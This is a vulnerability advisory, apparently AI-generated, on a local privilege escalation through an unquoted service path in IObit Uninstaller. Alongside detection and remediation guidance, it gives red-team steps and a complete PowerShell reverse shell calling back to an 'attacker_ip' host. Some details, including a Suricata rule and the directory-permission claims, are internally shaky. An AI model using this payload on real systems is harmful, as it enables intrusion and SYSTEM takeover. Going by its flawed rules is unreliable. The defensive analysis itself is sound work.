CVE-2020-37223
Executive Summary
CVE-2020-37223 is a high-severity (CVSS 7.8) local privilege escalation vulnerability in IObit Uninstaller version 9.5.0.15. The vulnerability stems from an unquoted service path in the IObitUnSvr service, which allows a local attacker with low privileges to escalate to SYSTEM by placing a malicious executable named IObit.exe in the C:\Program Files (x86)\IObit directory. When the service is restarted, Windows will execute the attacker-controlled binary instead of the legitimate service binary, granting SYSTEM-level code execution. No patch has been publicly released by the vendor, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.
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Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Windows application vulnerability.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.8 (High)
- Attack Vector: Local (AV:L) – The attacker must have local access to the system.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – The attacker needs a standard user account.
- User Interaction: None (UI:N) – No user action is needed beyond service restart.
- Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
- Confidentiality Impact: High (C:H) – SYSTEM access allows reading all files.
- Integrity Impact: High (I:H) – SYSTEM access allows modifying system files.
- Availability Impact: High (A:H) – SYSTEM access can disrupt services.
Threat Level: High. Although the EPSS score is 0.0%, the vulnerability is trivial to exploit and provides full SYSTEM privileges. It is a classic unquoted service path issue that can be weaponized in post-exploitation scenarios.
Deep Dive & Mechanics
The vulnerability exists in the IObitUnSvr service, which is installed by IObit Uninstaller 9.5.0.15. The service path is configured as:
C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe
Because the path contains spaces and is not enclosed in quotes, Windows interprets the path as multiple arguments. When the service starts, Windows attempts to execute the first space-delimited token as the executable. Specifically, it will look for:
C:\Program– not foundC:\Program Files– not foundC:\Program Files (x86)\IObit\IObit– not foundC:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe– the intended binary
If an attacker places a malicious executable named IObit.exe in C:\Program Files (x86)\IObit\, Windows will find it at step 3 and execute it with SYSTEM privileges. The attacker can then restart the service (e.g., via sc stop IObitUnSvr and sc start IObitUnSvr) to trigger the exploit.
Vulnerable vs. Patched Code
Vulnerable Configuration (IObit Uninstaller 9.5.0.15):
The service path is stored in the registry at HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr with the ImagePath value set to:
C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe
This path is unquoted.
Patched Configuration (Hypothetical): A patched version would quote the path:
"C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe"
No official patch has been released by IObit.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Local access to a Windows system with IObit Uninstaller 9.5.0.15 installed.
- A standard user account (non-admin).
Steps:
- Create a malicious executable (e.g.,
payload.exe) that spawns a SYSTEM shell or adds a user. - Rename it to
IObit.exe. - Place it in
C:\Program Files (x86)\IObit\(the attacker must have write access to this directory; by default, standard users can write toC:\Program Files (x86)\IObit\if the directory permissions are misconfigured, but often this requires admin rights. In practice, the attacker may need to use a writable directory likeC:\IObit\or rely on a different vector. However, the CVE description states the directory isC:\Program Files (x86)\IObit\). - Restart the service:
sc stop IObitUnSvr sc start IObitUnSvr - The malicious
IObit.exeexecutes with SYSTEM privileges.
Example payload (PowerShell reverse shell):
# Save as IObit.exe (compiled or script)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Blue Team (Detection & Response)
Detection:
- Monitor for service path changes in
HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr. - Monitor for creation of
IObit.exeinC:\Program Files (x86)\IObit\. - Monitor for service start/stop events (Event ID 7036, 7045).
- Monitor for process creation events where the parent process is
services.exeand the child isIObit.exe.
Response:
- Immediately isolate the affected system.
- Check for unauthorized user accounts or scheduled tasks.
- Review service configuration and revert to a known good state.
- Apply the fix by quoting the service path manually.
Indicators of Compromise (IOCs)
- File:
C:\Program Files (x86)\IObit\IObit.exe(malicious binary) - Registry:
HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvrwith unquotedImagePath - Process:
IObit.exerunning as SYSTEM - Event Logs:
- Event ID 7036: Service state change (IObitUnSvr)
- Event ID 7045: New service installed (if attacker creates a new service)
- Event ID 4688: Process creation with
IObit.exeas child ofservices.exe
Detection Engineering
YARA Rule
rule CVE_2020_37223_IObit_Unquoted_Service_Path {
meta:
description = "Detects unquoted service path for IObitUnSvr service"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2020-37223"
strings:
$reg_path = "IObitUnSvr" nocase
$unquoted = "C:\\Program Files (x86)\\IObit\\IObit Uninstaller\\IObitUnSvr.exe" nocase
condition:
$reg_path and $unquoted
}
Sigma Rule
title: Unquoted Service Path - IObitUnSvr
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unquoted service path for IObitUnSvr service (CVE-2020-37223)
author: Valters IT
date: 2025-04-10
logsource:
product: windows
service: system
detection:
selection:
EventID: 7045
ServiceName: 'IObitUnSvr'
ImagePath|contains: 'C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe'
ImagePath|re: '^[^"]'
condition: selection
falsepositives:
- None expected
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-37223 IObit Uninstaller Unquoted Service Path Exploit"; flow:to_server,established; content:"IObit.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Mitigation:
Manually quote the service path:
- Open
regeditas Administrator. - Navigate to
HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr. - Modify the
ImagePathvalue to:"C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe"(with quotes). - Restart the service.
- Open
Restrict write permissions to
C:\Program Files (x86)\IObit\for standard users.
Long-term Remediation:
- Upgrade to a patched version of IObit Uninstaller if/when available.
- Monitor vendor advisories for official patches.
- Implement application whitelisting to prevent unauthorized executables.
Valters IT Signature:
Report generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.